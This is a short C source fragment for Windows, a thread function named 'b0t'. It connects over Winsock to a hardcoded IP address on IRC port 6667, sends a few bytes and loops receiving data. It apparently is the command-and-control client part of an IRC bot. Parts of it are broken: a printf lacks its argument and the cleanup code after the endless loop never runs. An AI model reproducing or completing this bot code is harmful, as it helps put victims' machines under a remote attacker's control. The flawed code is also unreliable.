extern DWORD WINAPI b0t(LPVOID param)
{
SOCKET sock;
WSADATA wsa;
SECURITY_ATTRIBUTES sa;
WSAPROTOCOL_INFO wsinfo;
// struct hostent *host;
struct sockaddr_in mysock;
static char recvbuff[2050];
static char sendbuff[2050];
//host = gethostbyname("xxxxxx");
mysock.sin_family = 0x02;
mysock.sin_port = 0x0b1a; // 6667
mysock.sin_addr.s_addr = 0x6F271448; //inet_ntoa(*((struct in_addr *)host->h_addr));
ZeroMemory(&(mysock.sin_zero), 8); // memset
wsinfo.dwServiceFlags1 = 0x0400;
wsinfo.dwServiceFlags2 = 0x02;
wsinfo.dwServiceFlags3 = 0x80;
wsinfo.dwProviderFlags = 0x02;
wsinfo.iVersion = 0x18;
wsinfo.iAddressFamily = 0x02;
wsinfo.iSocketType = 0x01;
wsinfo.iProtocol = 0x06;
wsinfo.iSecurityScheme = 0x00;
wsinfo.dwMessageSize = 0xFFFFFFFF;
if(WSAStartup(0x101, &wsa)!= 0) { TerminateThread(Thr_b0t, 0x00); }
sock = WSASocket(0x02,0x01,0x06,&wsinfo,0x01,0x08);
if(connect(sock, (struct sockaddr *)&mysock, sizeof(mysock)) == 0xFFFFFFFF)
{
return 0;
}
send(sock, "\x0A\x00\x00", 0x04, 0x00);
Sleep(500);
while(TRUE)
{
recv(sock, recvbuff, 200, 0x00);
}
printf("\nRecv: %s\n\n");
system("PAUSE");
closesocket(sock);
WSACleanup();
return 0;
}